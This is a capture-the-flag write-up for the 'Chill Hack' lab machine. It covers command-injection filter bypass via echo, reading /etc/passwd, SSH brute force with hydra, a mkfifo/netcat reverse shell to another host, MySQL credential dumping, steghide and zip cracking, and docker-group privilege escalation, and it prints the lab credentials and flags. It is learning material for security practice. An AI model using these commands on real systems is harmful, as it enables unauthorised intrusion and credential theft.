Chill Hack

By Lawcky 01/01/2024

Introduction

Real Life machine vs CTF

Difficulty : Intermediate

Additionnal info :

Name: Chill Hack: 1
Release date: 9 Dec 2020
Author: Anurodh Acharya
Series: Chill Hack

|NOTE| if you want to see all the scans we wont copy them here as they would be way too voluminous, click here to see them

---

In this write-up

• nmap
• nikto
• hydra
• ffuf
• mysql
• hashcat
• zip2john
• pycrack (first time)
• steghide (first time)
• docker

---

Write-UP

on 192.168.1.94/secret/ it is possible to execute commands, but there is a filtering blocking commands that could be harmful

using ‘echo’ we can pass through

echo $(ls)

avec getting all the users with

echo $(cat /etc/passwd)

echo $(ls /home)

hydra -L users -P /usr/share/SecLists/Passwords/common_corporate_passwords.lst ssh://192.168.1.94/

after many tries this reverse shell worked

echo $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.253 4242 >/tmp/f)

after upgrading to a full tty we know have a direct access to the server

on apaar’s desktop

by running the script using sudo as apaar and entering /bin/sh we managed to get apaar’s shell

{USER-FLAG: e8vpd3323cfvlp0qpxxx9qtr5iq37oww}

first flag found

Enumeration

we run linpeas.sh

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

chmod +x linpeas.sh && ./linpeas.sh

---

ssh version is vulnerable ==> git clone https://github.com/CptGibbon/CVE-2021-3156.git

didnt work

---

found in /var/www/ some files that are not on the original site, inside we found credentials for a mysql database

root:!@m+her00+@db

we found hashes in the database

aurick:masterpassword apaar:dontaskdonttell

i have these two passwords and now i need to find what are they used for

they do not belong to any of the linux users

---

Hidden Zip files

many texts in the unused files in /var/www talks about ‘looking in the dark for answers’, so i thought maybe the images had something to do, after creating a temporary python http server i transfered the files to inspect it using strings command

python -m http.server 8080 wget ... strings

Got nothing using strings, yet using steghide with no passphrase extracted a zip file

steghide extract -sf hacker-with-laptop_23-2147985341.jpg

We then use pycrack to crack the password of the zip file

python3 pycrack.py

we select dictionary attack and the rockyou wordlist

we get a php page, with inside a password encoded in base64 and a mention of the anurodh user

anurodh:!d0ntKn0wmYp@ssw0rd

---

Privilege Escalation

anurodh user belongs to the docker groups, thus we can use it for our privesc

docker run -v /etc/:/mnt -it alpine

this command start a docker as root and mount the /root onto the /mnt making us root user

{ROOT-FLAG: w18gfpn9xehsgd3tovhk0hby4gdp89bg}

got second flag